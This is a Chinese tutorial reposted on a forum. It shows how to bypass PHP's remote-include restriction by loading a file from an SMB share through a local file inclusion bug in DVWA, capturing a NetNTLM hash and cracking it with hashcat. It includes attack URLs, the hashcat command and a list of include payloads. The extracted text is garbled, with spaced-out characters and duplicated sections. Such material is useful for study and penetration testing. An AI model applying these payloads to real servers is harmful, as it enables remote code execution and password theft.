搜索

[27219] 2021-04-06_PHP远程文件包含（RFI）并绕过远程URL包含限制

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-19
2021-04-06_PHP远程文件包含（RFI）并绕过远程URL包含限制 P H P 远 程 文 件 包 含 （ R F I ） 并 绕 过 远 程 U R L 包 含 限 制 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 4 - 0 6 收 录 于 话 题   # 奇 技 淫 巧   , 4 个 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   公 众 号 粉 丝 投 稿 公 众 号 粉 丝 投 稿 本 文 作 者 ： V a s t S k y （ M s 0 8 0 6 7 实 验 室 粉 丝 ） 前 言 前 言 本 文 我 们 讲 如 何 绕 过 远 程 U R L 包 含 限 制 。 在 P H P 开 发 环 境 p h p . i n i 配 置 文 里 ” a l l o w _ u r l _ f o p e n 、 a l l o w _ u r l _ i n c l u d e “ 均 为 “ o f f ” 的 情 况 下 ， 不 允 许 P H P 加 载 远 程 H T T P 或 F T P 的 u r l 进 行 远 程 文 件 包 含 时 。 我 们 依 旧 可 以 使 用 S M B ， 来 加 载 执 行 远 程 文 件 。 攻 击 思 路 攻 击 思 路 攻 击 者 在 发 现 目 标 服 务 器 存 在 本 地 文 件 包 含 的 情 况 下 。 可 以 通 过 配 置 S M B 服 务 器 ， 启 用 匿 名 浏 览 访 问 。 利 用 有 漏 洞 的 P H P 代 码 从 S M B 共 享 里 访 问 P H P 程 序 文 件 ， 查 看 代 码 是 否 被 执 行 。 环 境 设 置 环 境 设 置 1 、 配 置 p h p . i n i 文 件 禁 用 " a l l o w _ u r l _ f o p e n "   和   " a l l o w _ u r l _ i n c l u d e " 2 、 利 用 具 有 本 地 文 件 包 含 漏 洞 的 程 序 ， 这 里 我 们 使 用 D V W A 演 示 3 、 使 用 i m p a c k e t 攻 击 框 架 中 的 s m b s e r v e r 查 看 坏 境 查 看 坏 境 当 前 配 置 P H P 版 本 为 “ 7 . 3 . 4 ” : 确 定 P H P 不 允 许 远 程 文 件 包 含 试 图 从 我 们 k a l i 主 机 包 含 文 件 时 ， 应 用 程 序 抛 出 错 误 并 且 没 有 发 生 R F I 在 在 k a l i 上 配 置 我 们 的 上 配 置 我 们 的 S M B 服 务 器 服 务 器 创 建 演 示 p h p 程 序 文 件
通 过 s m b s e r v e r 启 动 s m b 服 务 器 攻 击 文 件 包 含 漏 洞 参 数 攻 击 文 件 包 含 漏 洞 参 数 利 用 S M B 的 访 问 路 径 传 入 文 件 包 含 漏 洞 的 参 数 里 。 h t t p : / / 1 2 7 . 0 . 0 . 1 / D V W A / v u l n e r a b i l i t i e s / f i / ? p a g e = 1 9 2 . 1 6 8 . 0 . 1 0 1 s h a r e p h p i n f o . p h p 目 标 机 器 从 S M B 共 享 中 获 取 P H P 文 件 并 在 应 用 程 序 服 务 器 上 顺 利 执 行 P H P 代 码 ， 绕 过 了 远 程 文 件 包 含 的 限 制 。 攻 击 的 同 时 我 们 在 s m b s e r v e r 窗 口 也 捕 获 到 了 N E T - N T L M h a s h
最 终 我 们 不 但 成 功 执 行 了 我 们 的 p h p 文 件 ， 同 时 我 们 还 得 到 了 远 程 系 统 用 户 的 N E T - N T L M h a s h 。 对 于 攻 击 思 路 ， 这 边 可 以 拓 展 一 些 ， 还 可 以 对 我 们 拿 到 的 N E T - N T L M h a s h 进 行 破 解 。 也 可 以 使 用 R e s p o n d e r   n t l m r e l a y x . p y 工 具 进 行 s m b 中 继 攻 击 ， 这 里 就 不 做 详 细 讨 论 。 附 加 ： 附 加 ： h a s h c a t 对 对 N E T - N T L M h a s h N T L M v 2 的 格 式 为 ： u s e r n a m e : : d o m a i n : c h a l l e n g e : H M A C - M D 5 : b l o b - m ：   h a s h - t y p e ， 5 6 0 0 对 应 N e t N T L M v 2 ， 查 看 h a s h 对 应 的 具 体 参 数 可 以 查 看 官 方 样 例 ： h t t p s : / / h a s h c a t . n e t / w i k i / d o k u . p h p ? i d = e x a m p l e _ h a s h e s - a   0 ： 字 典 破 解 – f o r c e 代 表 强 制 执 行 ， 测 试 系 统 不 支 持 I n t e l   O p e n C L 成 功 破 解 出 登 录 的 明 文 密 码 ， 输 出 如 下 图 附 录 附 录   a l l o w _ u r l _ f o p e n 和 和 a l l o w _ u r l _ i n c l u d e 对 文 件 包 含 的 影 响 对 文 件 包 含 的 影 响 a l l o w _ u r l _ f o p e n     # 允 许 u r l 打 开 远 程 文 件 ， 如 果 u r l 传 入 的 参 数 是 本 地 文 件 的 不 受 此 限 制 当 a l l o w _ u r l _ f o p e n 打 开 ， a l l o w _ u r l _ i n c l u d e 关 闭 时 h a s h c a t   - a   0   - m   5 6 0 0   h a s h . t x t   w o r d l i s t - - f o r c e / f i / ? p a g e = f i l e 1 . p h p                                                           # 可 以 使 用 / f i / ? p a g e = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = D : p h p s t u d y _ p r o W W W o n e . t x t     # 可 以 使 用 / f i / ? p a g e = f i l e : / / D : p h p s t u d y _ p r o W W W o n e . t x t           # 可 以 使 用 / f i / ? p a g e = h t t p : / / 1 2 7 . 0 . 0 . 1 / o n e . t x t                               # 不 可 以 使 用 / f i / ? p a g e = d a t a : t e x t / p l a i n ; b a s e 6 4 , c X d l c m F h Y Q = =         # 不 可 以 使 用 / f i / ? p a g e = p h p : / / i n p u t                                                         # 不 可 以 使 用
当 关 闭 了 a l l o w _ u r l _ o p e n 和 a l l o w _ u r l _ i n c l u d e 时 当 a l l o w _ u r l _ o p e n 关 闭 时 ， 而 a l l o w _ u r l _ i n c l u d e 开 启 的 时 候 ， 只 有 p h p : / / i n p u t 可 以 使 用 。 p h p : / / i n p u t 可 以 读 取 没 有 处 理 过 的 P O S T 数 据 。 p h p : / / i n p u t 这 个 是 不 受 a l l o w _ u r l _ f o p e n 影 响 。 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！     目 前 目 前 4 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们 / f i / ? p a g e = f i l e 1 . p h p                                                           # 可 以 使 用 / f i / ? p a g e = f i l e : / / D : p h p s t u d y _ p r o W W W o n e . t x t           # 可 以 使 用 / f i / ? p a g e = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = D : p h p s t u d y _ p r o W W W o n e . t x t     # 可 以 使 用 / f i / ? p a g e = h t t p : / / 1 2 7 . 0 . 0 . 1 / o n e . t x t                               # 不 可 以 使 用 / f i / ? p a g e = d a t a : t e x t / p l a i n ; b a s e 6 4 , c X d l c m F h Y Q = =         # 不 可 以 使 用 / f i / ? p a g e = p h p : / / i n p u t                                                         # 不 可 以 使 用
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理